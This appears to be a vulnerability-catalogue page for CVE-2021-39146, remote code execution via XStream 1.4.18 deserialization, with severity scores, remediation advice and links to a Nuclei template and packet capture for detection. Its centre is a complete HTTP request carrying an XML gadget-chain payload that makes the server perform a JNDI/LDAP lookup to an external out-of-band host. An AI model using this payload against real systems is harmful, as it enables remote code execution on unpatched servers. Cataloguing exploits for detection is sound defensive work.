🔙 목록으로 돌아가기

CVE-2021-39146: XStream 1.4.18 - Arbitrary Code Execution

TitleXStream 1.4.18 - Arbitrary Code Execution
Authorpwnhxl
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
RemediationUpgrade XStream to a version that is not affected by CVE-2021-39146.
CVSS Score8.5
EPSS Score0.54176
CVE IDCVE-2021-39146
CWE IDCWE-434
Tags cve2021 cve xstream deserialization rce xstream_project vuln

🔍 Vulnerability Description

XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Setups which followed XStream’s security recommendations with an allow-list are not impacted.

🌐 HTTP Request

POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; en-ca) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20
Connection: close
Content-Length: 2162
Content-Type: application/xml
Accept-Encoding: gzip

<sorted-set>

  <javax.naming.ldap.Rdn_-RdnEntry>

    <type>test</type>

    <value class='javax.swing.MultiUIDefaults' serialization='custom'>

      <unserializable-parents/>

      <hashtable>

          <default>

            <loadFactor>0.75</loadFactor>

            <threshold>525</threshold>

          </default>

          <int>700</int>

          <int>0</int>

      </hashtable>

      <javax.swing.UIDefaults>

          <default>

            <defaultLocale>zh_CN</defaultLocale>

            <resourceCache/>

          </default>

      </javax.swing.UIDefaults>

      <javax.swing.MultiUIDefaults>

          <default>

            <tables>

            <javax.swing.UIDefaults serialization='custom'>

              <unserializable-parents/>

              <hashtable>

                <default>

                  <loadFactor>0.75</loadFactor>

                  <threshold>525</threshold>

                </default>

                <int>700</int>

                <int>1</int>

                <string>lazyValue</string>

                <javax.swing.UIDefaults_-ProxyLazyValue>

                  <className>javax.naming.InitialContext</className>

                  <methodName>doLookup</methodName>

                  <args>

                    <string>ldap://d5jo1s1le0o4fh3rdg4gzpeopcbm88c58.oast.pro/#evil</string>

                  </args>

                </javax.swing.UIDefaults_-ProxyLazyValue>

              </hashtable>

              <javax.swing.UIDefaults>

                <default>

                  <defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>

                  <resourceCache/>

                </default>

              </javax.swing.UIDefaults>

            </javax.swing.UIDefaults>

            </tables>

          </default>

      </javax.swing.MultiUIDefaults>

    </value>

  </javax.naming.ldap.Rdn_-RdnEntry>

  <javax.naming.ldap.Rdn_-RdnEntry>

    <type>test</type>

    <value class='com.sun.org.apache.xpath.internal.objects.XString'>

      <m__obj class='string'>test</m__obj>

    </value>

  </javax.naming.ldap.Rdn_-RdnEntry>

</sorted-set>

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-39146.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-39146.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A